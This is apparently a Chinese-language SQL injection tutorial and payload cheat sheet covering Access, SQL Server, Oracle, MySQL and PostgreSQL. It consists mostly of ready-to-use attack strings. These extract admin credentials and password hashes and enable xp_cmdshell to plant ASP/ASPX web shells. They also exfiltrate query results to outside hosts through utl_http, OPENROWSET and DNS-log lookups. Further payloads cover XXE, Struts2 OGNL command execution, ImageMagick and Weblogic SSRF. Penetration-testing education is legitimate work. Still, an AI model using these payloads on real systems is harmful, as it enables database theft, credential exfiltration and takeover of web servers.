文章目录
access+asp
基础
- access数据库
- Microsoft Access是Microsoft的数据库管理系统(DBMS)一般搭配windows server IIS和asp使用
- acccess数据库与其他数据库不同,没有存储表的库,只有表
- Access数据库属于文件型数据库所以不需要端口号,access数据库有2种后缀格式:.mdb和.accdb,区别是.mdb是access2003版及以前,.accdb是2007版access的格式
- asp
- ASP(Active Server Pages 动态服务器页面)是一种生成动态交互性网页的强有力工具
- ASP 是在 IIS 中运行的程序,编程语言为 vbscript
- ASP 文件通常包含 HTML 标签,就像 HTML 文件。然而,ASP 文件也能包含服务器脚本,这些脚本被分隔符 <% 和 %> 包围起来
- ASP目前最新的版本为3.0,与Windows 2000一起发行,并内植于IIS 5.0中
- access数据库结构
- 表
- 字段
- 数据
可以使用可视化工具查看表,菜单-打开数据库-找到数据库文件导入即可
启动web服务
ASPWEB*架设工具是专用于本地测试ASP程序开发的一个小工具
IIS小工具(99端口版) 把此文件放在本地的站点中,双击,就会自动弹出网站
aspweb.exe只能在win xp等系统上运行
联合查询
首先判断是否存在SQL注入
通过关键词 and 和 or 注入判断语句
and
?ID=104 and 1=1 正确页面
?ID=104 and 1=2 错误页面
or
?ID=-104 or 1=2 错误页面 (两个都查询不到报错)
?ID=104 or 1=1 正常页面 (只要其中有一个能查到那就正常)
判断当前表的字段数
?id=110 order by 10 (news表字段数刚好十个)正常
?id=110 order by 11 错误(没有十一个字段)
因为access没有库,更没有information_schema,所以之后通过猜测的方法确定表
?id=110 union select 1,2,3,4,5,6,7,8,9,10 from admin
将 admin 换成别的表
然后再猜字段,将回显的数字替换成要猜的字段
盲注
因为表名和字段名都需要猜,所以需要类似于盲注的方法来逐字猜解
如果存在注入,首先猜表名
http://127.0.0.1:99/shownews.asp?id=110 and exists (select * from admin)
# 如果页面返回正常,说明表存在
得到表名后猜解列名
http://127.0.0.1:99/shownews.asp?id=110 and exists (select username from admin)
http://127.0.0.1:99/shownews.asp?id=110 and exists (select password from admin)
# 如果页面返回正常,说明列明存在
猜数据长度
http://127.0.0.1:99/shownews.asp?id=110 and (select top 1 len(username) from admin)=8
# 等于8就是确定数据的长度 也可以使用大于(>)小于(<), 等于(=)最好确定长度
猜每一位字符
mid() 截取位置
asc() ascii码
第一个长度的ascii码长度 页面返回正常
http://127.0.0.1:99/shownews.asp?id=110 and (select top 1 asc(mid(username,1,1)) from admin)=97
猜解完之后 把ascii码 转换过来 并接 就是username字段的的数据,其他字段也是这样
盲注步骤和MySQL基本一致
SQL server
基础
- SQL Server(MS SQL)数据库是由Microsoft开发和推广的关系数据库管理系统(DBMS),是一个比较大型的数据库。端口号为 1433
- 数据库后缀名 .mdf
- SQL server经常与 asp 或者 aspx 搭配使用,操作系统 win2012 win2018
- 数据库版本多为 sql2008 sql2012
- 注释符号 --空格为单行注释,/**/为多行注释
SQL server有三个权限级别
- sa权限:数据库操作,文件管理,命令执行,注册表读取等system。SQLServer数据库的最高权限
- db权限:文件管理,数据库操作等权限 users-administrators
- public权限:数据库操作 guest-users
判断当前用户权限方法
判断是否是SA权限
select is_srvrolemember('sysadmin')
判断是否是db_owner权限
select is_member('db_owner')
判断是否是public权限
select is_srvrolemember('public')
默认库
SQLServer数据库有6个默认的库,分别是4个系统数据库:master 、model 、msdb 、tempdb,和2个实例数据库:ReportServer、ReportServerTempDB。其中,系统数据库 model 和 tempdb 默认是没有数据表的
- master数据库:master数据库控制SQL Server的所有方面。这个数据库中包括所有的配置信息、用户登录信息、当前正在服务器中运行的过程的信息
- model数据库:model数据库是建立所有用户数据库时的模板。当你建立一个新数据库时,SQL Server会把model数据库中的所有对象建立一份拷贝并移到新数据库中。在模板对象被拷贝到新的用户数据库中之后,该数据库的所有多余空间都将被空页填满
- msdb数据库:msdb数据库是SQL Server中的一个特例。如果你查看这个数据库的实际定义,会发现它其实是一个用户数据库。不同之处是SQL Server拿这个数据库来做什么。所有的任务调度、报警、操作员都存储在msdb数据库中。该库的另一个功能是用来存储所有备份历史。SQL Server Agent将会使用这个库
- tempdb数据库:tempdb数据库是一个非常特殊的数据库,供所有来访问你的SQL Server的用户使用。这个库用来保存所有的临时表、存储过程和其他SQL Server建立的临时用的东西。例如,排序时要用到tempdb数据库。数据被放进tempdb数据库,排完序后再把结果返回给用户。每次SQL Server重新启动,它都会清空tempdb数据库并重建。永远不要在tempdb数据库建立需要永久保存的表
但是如果用navicat远程连接的话,只会显示2个实例数据库:ReportServer、ReportServerTempDB
联合查询
注入步骤大同小异
1.首先判断是否存在注入
通过输入 '单引号,是否报错了判断是否存在注入,iis的报错信息是比较明显的
2.用 order by 判断列数
?id=1 order by 3
# 没有报错
?id=1 order by 4
# 发生报错提示超出了选择列表中项数
3.联合查询
需要注意的是SQL server中联合查询需要每个列的数据类型是一致的,比如下面这种就会报错
可以用’'包裹
?id=-1 union select 1,'2','3'
也可以用null
?id=1 union select null,null,null
使用函数查询系统信息
db_name() 数据库名
@@version 版本信息
User_name() 当前用户
host_name() 计算机名称
4.查询数据
如果表名不对的话会报错
报错注入
SQL server在语句执行错误时会报错,并且会在网页上显示出来,可以通过报错将信息带出
-
显示系统信息
?id=-1 and @@version>0 # 利用SQL server对数据类型的敏感制造报错,带出信息
-
显示数据库信息
?id=-1 and db_name()>0
-
显示当前用户信息
?id=-1 and user_name()>0 # 注意 dbo 用户是最高权限用户
-
爆出其他数据库
?id=-1 and (SELECT top 1 Name FROM Master..SysDatabases)>0
?id=-1 and (SELECT top 1 Name FROM Master..SysDatabases where name not in ('master'))>0 # 将master数据库排除,再查看其他数据库,直到查询完全部数据库 ?id=-1 and (SELECT top 1 Name FROM Master..SysDatabases where name not in ('master','iNethinkCMS','model','msdb','mydb','ReportServer', 'ReportServerTempDB', 'tempdb'))>0 查询完毕
-
爆表
?id=-1 and (select top 1 name from [mydb].sys.all_objects where type='U' AND is_ms_shipped=0)>0 ?id=-1 and (select top 1 name from mydb.sys.all_objects where type='U' AND is_ms_shipped=0 and name not in ('cmd','test_tmp'))>0
-
爆字段
?id=1 and (select top 1 COLUMN_NAME from mydb.information_schema.columns where TABLE_NAME='admin' and COLUMN_NAME not in('ID'))>0 ?id=1 and (select top 1 COLUMN_NAME from mydb.information_schema.columns where TABLE_NAME='admin' and COLUMN_NAME not in('ID','username'))>0
-
爆出数据
?id=1 and (select top 1 username from admin)>0 ?id=1 and (select top 1 password from admin)>0
information_schema
和MySQL相似,在SQL_SERVER 中 每个数据库中都有 视图->系统视图
在这个下面都有很多关于这个库的表,表里面存放了很多关于这个库的信息
1.查询当前用户
?id=1 and user_name()>1
2.根据当前用户爆出所有表
?id=1 and(select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA='dbo' FOR XML PATH)>1
3.爆出所有列
?id=1 and(select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='admin' FOR XML PATH)>1
4.爆出数据
?id=1 and ( select username,password from admin FOR XML PATH)>1
延时注入
WAITFOR 函数是SQLServer中的Transcat-SQL提供的一个流程控制语句,它的作用是等待特定时间,然后执行后续的语句,它包含一个参数DELAY,用来指定等待的是时间
waitfor delay ‘0:0:5’ 等待5秒钟后执行操作,页面将在5秒后返回
select 1 waitfor delay ‘0:0:5’
判断注入
http://www.demo1.com/index.jspx?id=1 waitfor delay ‘0:0:5’
页面延时返回
利用截取字符判断法来进行盲注
DB_NAME() mydb
SUBSTRING 从第一位开始取一位
select SUBSTRING(DB_NAME(),1,1)
select * from art where id = 1 if(SUBSTRING(DB_NAME(),1,1)='m') waitfor delay '0:0:5'--
select * from art where id = 1 if(SUBSTRING(DB_NAME(),2,1)='y') waitfor delay '0:0:5'--
不区分大小写
方法类似于MySQL盲注
也可以用ascii码来判断
select * from art where id = 1 IF ASCII(SUBSTRING(DB_NAME(),1,1))=100 WAITFOR DELAY '0:0:5';
执行系统命令
堆叠查询
SQL server中是可以执行多行多行操作的,既堆叠查询(堆叠注入的局限性:堆叠注入并不是在哦任何换环境下都可以执行的,可能受到API或者数据库引擎不支持的限制(如Oracle数据库),也有可能权限不足)
两条语句使用分号隔开
select * from art;select * from admin;
xp_cmdshell
xp_cmdshell在 mssql2000 中默认开启,在 mssql2005 之后的版本中默认禁止
执行系统命令
EXEC master.dbo.xp_cmdshell 'ipconfig'
# 即使执行成功页面也是无法回显。推荐写入shell
下图说明 xp_cmdshell 未开启
如果用户拥有管理员 sa 权限,可以用 sp_configure 重新开启
;EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;
命令解释
EXEC sp_configure 'show advanced options',1
//允许修改高级参数
RECONFIGUREEXEC sp_configure 'xp_cmdshell',1
//打开xp_cmdshell扩展RECONFIGURE
写入木马getshell
# asp
?id=1;exec master..xp_cmdshell 'echo ^<%eval request(chr(35))%^> > C:\inetpub\wwwroot\www.demo1.com\2.asp' --
# aspx
?id=1;exec master..xp_cmdshell 'echo ^<%@ Page Language="Jscript"%^>^<%eval(Request.Item["chopper"],"unsafe");%^>>D:\2.aspx' –
也可以执行系统命令 把命令结果输出到指定文件
?id=1;EXEC master.dbo.xp_cmdshell 'ipconfig >>C:\inetpub\wwwroot\www.demo1.com\ip.txt'
LOG备份getshell
通过差异备份拿shell经常出错,所以推荐以下操作
无论是LOG备份还是差异备份,都是利用备份的过程中写入一句话木马
SQLServer常见的备份策略:
- 每周一次完整备份
- 每天一次差异备份
- 每小时一次事务日志备份
利用前提:
- 目标机器存在数据库备份文件 ,也就是如果我们利用 test 数据库的话,则需要该 test 数据库存在数据库备份文件,而且恢复模式得是 完整模式
- 知道网站的绝对路径,找绝对路径的方法,链接
- 该注入支持堆叠注入
具体步骤如下
alter database 数据库名 set RECOVERY FULL;
#修改数据库恢复模式为 完整模式
create table cmd (a image);
#创建一张表cmd,只有一个列 a,类型为image
backup log 数据库名 to disk= 'C:/inetpub/wwwroot/www.demo1.com/asp.bak' with init;
#备份表到指定路径
insert into cmd (a) values(0x3C25657865637574652872657175657374282261222929253EDA);
#插入一句话到cmd表里,一句话木马<%execute(request("a"))%>需要转换成16进制形式
backup log 数据库名 to disk='C:/inetpub/wwwroot/www.demo1.com/123.asp';
#把操作日志备份到指定文件
drop table cmd;
#删除cmd表
生成shell后可以用工具连接
openrowset转发
适用于盲注,页面不返回信息 使用这种注入方法,需要一台带有sqlserver的机器,将当前数据转发到远程的sqlserver上
条件是:存在注入的服务器可以访问远程SQL sever
-
启用Ad Hoc Distributed Queries:
;exec sp_configure ‘show advanced options’,1 reconfigure
;exec sp_configure ‘Ad Hoc Distributed Queries’,1 reconfigure
-
为了安全使用完成后,关闭Ad Hoc Distributed Queries:
;exec sp_configure ‘Ad Hoc Distributed Queries’,0 reconfigure
;exec sp_configure ‘show advanced options’,0 reconfigure
-
开启扩展
http://www.demo1.com/index.aspx?id=1;exec sp_configure 'show advanced options',1 reconfigure;exec sp_configure 'Ad Hoc Distributed Queries',1 reconfigure
本地建立临时表
create table ##version (VERSION varchar(500))
-
查询系统信息
http://www.demo1.com/index.aspx?id=1;insert into OPENROWSET('SQLOLEDB', 'server=192.168.0.122;uid=sa;pwd=123456', 'select * from %23%23version' ) select DB_NAME()
执行上面语句之后 再来查询远程sqlserver上的表
select * from ##version
-
两边创建临时表
create table ##nonamed( dir ntext, num int ) http://www.demo1.com/index.aspx?id=1;create table %23%23nonamed( dir ntext, num int )
-
查询路径
insert %23%23nonamed execute master..xp_dirtree 'c:/',1
向nonamed表插入c盘下路径的数据
http://www.demo1.com/index.aspx?id=1;insert %23%23nonamed execute master..xp_dirtree 'c:/',1
这里就是把数据转发到远程192.168.0.122 sqlserver上
http://www.demo1.com/index.aspx?id=1;insert into OPENROWSET('SQLOLEDB', 'server=192.168.0.122;uid=sa;pwd=123456', 'select * from %23%23nonamed' ) select * from %23%23nonamed
在远程sqlserver执行这个命令 就可以获取 数据
select * from %23%23nonamed
Oracle
基础
-
ORACLE数据库系统是美国ORACLE公司(甲骨文)提供的以分布式数据库为核心的一组软件产品,是目前最流行的客户/服务器(CLIENT/SERVER)或B/S体系结构的数据库之一
https://www.w3cschool.cn/oraclejc/oraclejc-dxgu2qqt.html
-
Oracle和MySQL数据库语法大致相同,结构不太相同。最大的一个特点就是oracle可以调用Java代码
-
Oracle一般配合jsp使用, 默认端口号为:1521
-
Oracle采用了”表空间“的定义。数据文件就是由多个表空间组成的,这些数据文件和相关文件形成一个完整的数据库。当数据库创建时,Oracle 会默认创建五个表空间:SYSTEM、SYSAUX、USERS、UNDOTBS、TEMP:
- SYSTEM:看名字就知道这个用于是存储系统表和管理配置等基本信息
- SYSAUX:类似于 SYSTEM,主要存放一些系统附加信息,以便减轻 SYSTEM 的空间负担
- UNDOTBS:用于事务回退等
- TEMP:作为缓存空间减少内存负担
- USERS:就是存储我们定义的表和数据
在Oracle中每个表空间中均存在一张dual表,这个表是虚表,并没有实际的存储意义,它永远只存储一条数据,因为Oracle的SQL语法要求select后必须跟上from,所以我们通常使用dual来作为计算、查询时间等SQL语句中from之后的虚表占位,也就是
select 1+1 from dual
-
Oracle中用户和权限划分:Oracle 中划分了许多用户权限,权限的集合称为角色。例如 CONNECT 角色具有连接到数据库权限,RESOURCE 能进行基本的增删改查,DBA 则集合了所有的用户权限。在创建数据库时,会默认启用 sys、system 等用户:
- sys:相当于 Linux 下的 root 用户。为 DBA 角色
- system:与 sys 类似,但是相对于 sys 用户,无法修改一些关键的系统数据,这些数据维持着数据库的正常运行。为 DBA 角色。
- public:public 代指所有用户(everyone),对其操作会应用到所有用户上(实际上是所有用户都有 public 用户拥有的权限,如果将 DBA 权限给了 public,那么也就意味着所有用户都有了 DBA 权限)
联合查询注入
-
注释符号
– 单行注释
/**/ 多行注释
1.判断是否存在注入
?username=SMITH' and 1=1--
?username=SMITH' and 1=2--
2.判断列数
?username=SMITH' order by 8--
3.联合查询
也可以使用联合查询去判断列数
因为Oracle和SQL server一样对列的类型比较严谨,所以需要使用 null 匹配任意类型
?username=SMITH' union select null,null,null,null,null,null,null,null from dual--
4.获取Oracle信息
- 当前用户权限 (select * from session_roles)
- 当前数据库版本 (select banner from sys.v_$version where rownum=1)
- 服务器出口IP (用utl_http.request 可以实现)
- 服务器监听IP (select utl_inaddr.get_host_address from dual)
- 服务器操作系统 (select member from v$logfile where rownum=1)
- 服务器sid (select instance_name from v$instance)
- 当前连接用户 (select SYS_CONTEXT (‘USERENV’, ‘CURRENT_USER’) from dual)
- 当前用户 (SELECT user FROM dual)
?username=SMITH' union select null,null,(SELECT user FROM dual),null,null,null,null,null from dual--
5.查询库名
?username=99%27 union select null,null,(select owner from all_tables where rownum=1),null,null,null,null,null from dual --
?username=99%27 union select null,null,(select owner from all_tables where rownum=1 and owner <>'SYS' ),null,null,null,null,null from dual --
和SQL server一样也是一个一个库的查
6.查询表
?username=SMITH' union select null,null,(select table_name from user_tables where rownum=1),null,null,null,null,null from dual --
查询其他的表
注意:表名一定是大写的
?username=SMITH' union select null,null,(select table_name from user_tables where rownum=1 and table_name<>'ADMIN'),null,null,null,null,null from dual --
7.查询列
查询 表 ADMIN第一个列
?username=SMITH' union select null,(select column_name from user_tab_columns where table_name='ADMIN' and rownum=1),null,null,null,null,null,null from dual --
查询第二个列
?username=SMITH' union select null,(select column_name from user_tab_columns where table_name='ADMIN' and column_name<>'ID' and rownum=1),null,null,null,null,null,null from dual --
使用同样的方法查询第三个列
?username=SMITH' union select null,(select column_name from user_tab_columns where table_name='ADMIN' and column_name<>'ID' and column_name<>'USERNAME' and rownum=1),null,null,null,null,null,null from dual --
8.查询数据
?username=SMITH' union select null,(SELECT CONCAT(USERNAME,PASSWORD) FROM ADMIN),null,null,null,null,null,null from dual--
9.扩展查询其他数据
-
当前用户:
SELECT user FROM dual;
-
列出所有用户:
SELECT username FROM all_users ORDER BY username;
-
列出数据库
SELECT DISTINCT owner FROM all_tables;
-
列出表名:
SELECT table_name FROM all_tables;
SELECT owner, table_name FROM all_tables;
-
查询表所有列
SELECT column_name FROM all_tab_columns WHERE TABLE_NAME=‘ADMIN’;
-
定位文件
SELECT name FROM V$DATAFILE;
反弹注入
Oracle+jsp utl_http.request 反弹注入
通过utl_http.request
可以将查询的结果发送到远程服务器上,在遇到盲注时非常有用,要使用该方法的用户需要有 utl_http 访问网络的权限
1.检测是否支持 utl_http.request
如果页面正常就是支持
?id=1 and exists (select count(*) from all_objects where object_name='UTL_HTTP') --
2.反弹注入命令
?id=1 and utl_http.request('http://192.168.0.121:2008/'||(select banner from sys.v_$version where rownum=1))=1--
# 语句分析
and utl_http.request('http://域名或者ip:端口/'||(注入的语句))=1 --
注意 || 要 url 编码 %7C%7C
poc
?id=1 and utl_http.request('http://10.242.198.5:8888/'%7C%7C(select banner from sys.v_$version where rownum=1))=1--
远程服务器监听端口,执行 sql 语句后,将查询的信息带出
查询其他数据只需要替换查询语句就行,参考联合查询注入
报错注入
和 MySQL 相同 Oracle 存在很多可以产生报错的函数
1.utl_inaddr.get_host_name()进行报错注入
和 MySQL 相同 Oracle 存在很多可以产生报错的函数
?id=1 and 1=utl_inaddr.get_host_name((select user from dual))--
tomcat报错,其他报错注入报错位置大致相同
2.ctxsys.drithsx.sn()进行报错注入
?id=1 and 1=ctxsys.drithsx.sn(1,(select user from dual))--
3.XMLType()进行报错注入
?id=1 and (select upper(XMLType(chr(60)%7c%7cchr(58)%7c%7c(select user from dual)%7c%7cchr(62))) from dual) is not null --
4.dbms_xdb_version.checkin()进行报错注入
?id=1 and (select dbms_xdb_version.checkin((select banner from sys.v_$version where rownum=1)) from dual) is not null --
# 查询版本信息
5.bms_xdb_version.makeversioned()进报错注入
?id=1 and (select dbms_xdb_version.makeversioned((select user from dual)) from dual) is not null --
6.dbms_xdb_version.uncheckout()进行报错注入
?id=1 and (select dbms_xdb_version.uncheckout((select user from dual)) from dual) is not null --
7.dbms_utility.sqlid_to_sqlhash()进行报错注入
?id=1 and (SELECT dbms_utility.sqlid_to_sqlhash((select user from dual)) from dual) is not null --
8.ordsys.ord_dicom.getmappingxpath()进行报错注入
?id=1 and 1=ordsys.ord_dicom.getmappingxpath((select user from dual),user,user)--
9.decode进行报错注入
这种方式更偏向布尔型注入,因为这种方式并不会通过报错把查询结果回显回来,仅是用来作为页面的表现不同的判断方法
布尔盲注
在 Oracle 两种利用布尔型实现盲注入方法
- 是否存在注入 根据页面的返回不同 从而判断注入点
- 出数据 通过注入点 构造的SQL语句 判断页面是否正常
decode盲注
decode(字段或字段的运算,值1,值2,值3)
这个函数运行的结果是,当字段或字段的运算的值等于值1时,该函数返回值2,否则返回3,值1,值2,值3也可以是表达式
注入语句
select decode(user,'SYSTEM',1,0) from dual;
- 获取当前用户 (select user from dual)
- 获取当前版本 (select banner from sys.v_$version where rownum=1)
- 获取当前admin表的帐号和密码 (select username||password from admin)
获取字符长度
- select length(user) from dual –
- select * from art where id=1 and 6=(select length(user) from dual) –
- http://www.jsporcle.com/news.jsp?id=1 and 6=(select length(user) from dual) –
当前用户第一个字母的是否等于S 等于返回1否则返回0
测试当前用户语句
http://www.jsporcle.com/news.jsp?id=1 and 1=(select decode(substr(user,1,1),'S',1,0) from dual) --
获取当前admin表的帐号和密码
select * from art where id=1 and 1=(select decode(substr((select username||password from admin),1,1),'a',1,0) from dual)
http://www.jsporcle.com/news.jsp?id=1 and 1=(select decode(substr((select username%7c%7cpassword from admin),1,1),'a',1,0) from dual)
判断字符的字符
abcdefghigklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789@_.
查询第二个的时候
http://www.jsporcle.com/news.jsp?id=1 and 1=(select decode(substr((select username%7c%7cpassword from admin),2,1),'d',1,0) from dual)
盲注入通用 逐字猜解法
先获取数据长度
37=(select length(username||password) from admin)
转码测试
http://www.jsporcle.com/news.jsp?id=1 and 37=(select length(username%7c%7cpassword) from admin)--
select * from art where id=1 and 37=(select length(username||password) from admin);
猜解ascii码
http://www.jsporcle.com/news.jsp?id=1 and (select ascii(substr(username%7c%7cpassword,1,1)) from admin)=97
延时注入
在延时注入中用到的函数
-
DBMS_LOCK.SLEEP() 函数可以让一个过程休眠很多秒,但使用该函数存在许多限制。首先,不能直接将该函数注入子查询中,因为Oracle不支持堆叠查询(stacked query)。其次,只有数据库管理员才能使用DBMS_LOCK包
-
在Oracle PL/SQL中有一种更好的办法,可以使用下面的指令以内联方式注入延迟
dbms_pipe.receive_message(‘RDS’, 10)
DBMS_PIPE.RECEIVE_MESSAGE函数将为从RDS管道返回的数据等待10秒。默认情况下,允许以public权限执行该包。DBMS_LOCK.SLEEP()与之相反,它是一个可以用在SQL语句中的函数
延时注入 属于盲注入的一种,适用的场景较多,基本上任何注入都可以使用这种注入方式进行测试
判断注入
/news.jsp?id=-1 or 1= dbms_pipe.receive_message('RDS', 10)--
如果页面延时10秒返回,即存在注入
既然是盲注,也就可以结合之前的decode盲注入和逐字猜解法去注入
decode盲注
and 1=(select decode(substr(user,1,1),'S',1,0) from dual) --
在decode注入里加入延时语句。
and 1=(select decode(substr(user,1,1),'S',dbms_pipe.receive_message('RDS',10),0) from dual) --
http://www.jsporcle.com/news.jsp?id=1 and 1=(select decode(substr(user,1,1),'S',dbms_pipe.receive_message('RDS',5),0) from dual) --
查询数据
首先判断长度 6
(select decode(length(user),6,dbms_pipe.receive_message('RDS', 10) ,0) from dual);
网站测试语句
http://www.jsporcle.com/news.jsp?id=1 and 1=(select decode(length(user),6,dbms_pipe.receive_message('RDS',10),0) from dual)--
查询第一个字符
(select decode(substr(user,1,1),'S',dbms_pipe.receive_message('RDS', 10),0) from dual) --
(select decode(substr(user,2,1),'Y',dbms_pipe.receive_message('RDS', 10),0) from dual) --
(select decode(substr(user,3,1),'Y',dbms_pipe.receive_message('RDS', 10),0) from dual) --
(select decode(substr(user,4,1),'T',dbms_pipe.receive_message('RDS', 10),0) from dual) --
(select decode(substr(user,5,1),'E',dbms_pipe.receive_message('RDS', 10),0) from dual) --
(select decode(substr(user,6,1),'N',dbms_pipe.receive_message('RDS', 10),0) from dual) --
http://www.jsporcle.com/news.jsp?id=1 and 1=(select decode(substr(user,1,1),'S',dbms_pipe.receive_message('RDS',10),0) from dual) --
其他注入方法
位移注入
- 适合在找不到表,找不到字段的情况下使用
- 需要联合两个表,这种注入方法属于联合查询
原理
在SQL中查询select * from admin,星号代表所有字段
select * from admin;
查询效果和以下的相同
select admin.* from admin;
select uid,name,pass from admin;
select admin.uid,admin.name,admin.pass from admin;
admin.uid就代表admin表的uid字段
在使用位移注入时,需要确定当前表的字段数,当前表的字段数要大于或者等于联合的表
?id=-1 union select admin.* from admin
其他数据库
其他数据库也可以使用这种方法,如:access
order by的字段数
select * from product where id=100 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26 from admin
product 的表字段数为26
select * from product where id=100 union select 1,2,3,4,5,6,7,8,9,10,11,12,* from admin
这里的*星号代表admin的字段数 所以用26-13=13 所以admin的字段个数为13
用admin.*替换这里的 * 星号
select * from product where id=100 union select 1,2,3,4,5,6,7,8,9,10,11,12,admin.* from admin
在网站里面测试
http://127.0.0.1:99/ProductShow.asp?ID=100 union select 1,2,3,4,5,6,7,8,9,10,11,12,admin.* from admin
dnslog无回显注入
dns在解析的时候会留下日志,利用这个属性,可以读取多级域名的解析日志,来获取信息
将带有查询的语句 发起dns查询请求,通过dns请求查询到值,组合成三级域名,在ns服务器dns的日志中显示出来
最长的字符67个
平台
- dnslog.cn
- http://ceye.io
使用
以MySQL为例
1.查询库当前库
SELECT * FROM users WHERE id='1' and if((select load_file(concat('\\\\',(select database()),'.fooe50.ceye.io\\abc'))),1,0)
load_file 使用这个函数 必须 在mysql开启 secure_file_prv= 设置可以读取方可使用这个函数
2.查询数据版本
SELECT * FROM users WHERE id='1' and if((select load_file(concat('\\\\',(select VERSION()),'.fooe50.ceye.io\\abc'))),1,0)
3.查询admin表的帐号和密码
http://target_sys.com/article.php?id=1 and if((select load_file(concat('\\\\',(select password from admin),'.fooe50.ceye.io\\abc'))),1,0)
其他使用
linux
curl http://ip.port.b182oj.ceye.io/`whoami`
ping `whoami`.ip.port.b182oj.ceye.io
windows
ping %USERNAME%.b182oj.ceye.io
SQL Injection
SQL Server
DECLARE @host varchar(1024);
SELECT @host=(SELECT TOP 1
master.dbo.fn_varbintohexstr(password_hash)
FROM sys.sql_logins WHERE name='sa')
+'.ip.port.b182oj.ceye.io';
EXEC('master..xp_dirtree
"\\'+@host+'\foobar$"');
Oracle
SELECT UTL_INADDR.GET_HOST_ADDRESS('ip.port.b182oj.ceye.io');
SELECT UTL_HTTP.REQUEST('http://ip.port.b182oj.ceye.io/oracle') FROM DUAL;
SELECT HTTPURITYPE('http://ip.port.b182oj.ceye.io/oracle').GETCLOB() FROM DUAL;
SELECT DBMS_LDAP.INIT(('oracle.ip.port.b182oj.ceye.io',80) FROM DUAL;
SELECT DBMS_LDAP.INIT((SELECT password FROM SYS.USER$ WHERE name='SYS')||'.ip.port.b18
MySQL
SELECT LOAD_FILE(CONCAT('\\\\',(SELECT password FROM mysql.user WHERE user='root' LIMIT 1),'.mysql.ip.port.b182oj.ceye.io\\abc'));
PostgreSQL
DROP TABLE IF EXISTS table_output;
CREATE TABLE table_output(content text);
CREATE OR REPLACE FUNCTION temp_function()
RETURNS VOID AS $
DECLARE exec_cmd TEXT;
DECLARE query_result TEXT;
BEGIN
SELECT INTO query_result (SELECT passwd
FROM pg_shadow WHERE usename='postgres');
exec_cmd := E'COPY table_output(content)
FROM E\'\\\\\\\\'||query_result||E'.psql.ip.port.b182oj.ceye.io\\\\foobar.txt\'';
EXECUTE exec_cmd;
END;
$ LANGUAGE plpgsql SECURITY DEFINER;
SELECT temp_function();
XML Entity Injection
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://ip.port.b182oj.ceye.io/xxe_test">
%remote;]>
<root/>
Others
Struts2
xx.action?redirect:http://ip.port.b182oj.ceye.io/%25{3*4}
xx.action?redirect:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'whoami'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23t%3d%23d.readLine(),%23u%3d"http://ip.port.b182oj.ceye.io/result%3d".concat(%23t),%23http%3dnew%20java.net.URL(%23u).openConnection(),%23http.setRequestMethod("GET"),%23http.connect(),%23http.getInputStream()}
FFMpeg
#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:10.0,
concat:http://ip.port.b182oj.ceye.io
#EXT-X-ENDLIST
Weblogic
xxoo.com/uddiexplorer/SearchPublicRegistries.jsp?operator=http://ip.port.b182oj.ceye.io/test&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Businesslocation&btnSubmit=Search
ImageMagick
push graphic-context
viewbox 0 0 640 480
fill 'url(http://ip.port.b182oj.ceye.io)'
pop graphic-context
Resin
xxoo.com/resin-doc/resource/tutorial/jndi-appconfig/test?inputFile=http://ip.port.b182oj.ceye.io/ssrf
Discuz
http://xxx.xxxx.com/forum.php?mod=ajax&action=downremoteimg&message=[img=1,1]http://ip.port.b182oj.ceye.io/xx.jpg[/img]&formhash=xxoo
参考连接
https://www.moonsec.com/archives/125
https://blog.csdn.net/qq_36119192/article/details/88679754
https://y4er.com/post/oracle-sql-inject/
https://www.tr0y.wang/2019/04/16/Oracle%E6%B3%A8%E5%85%A5%E6%8C%87%E5%8C%97/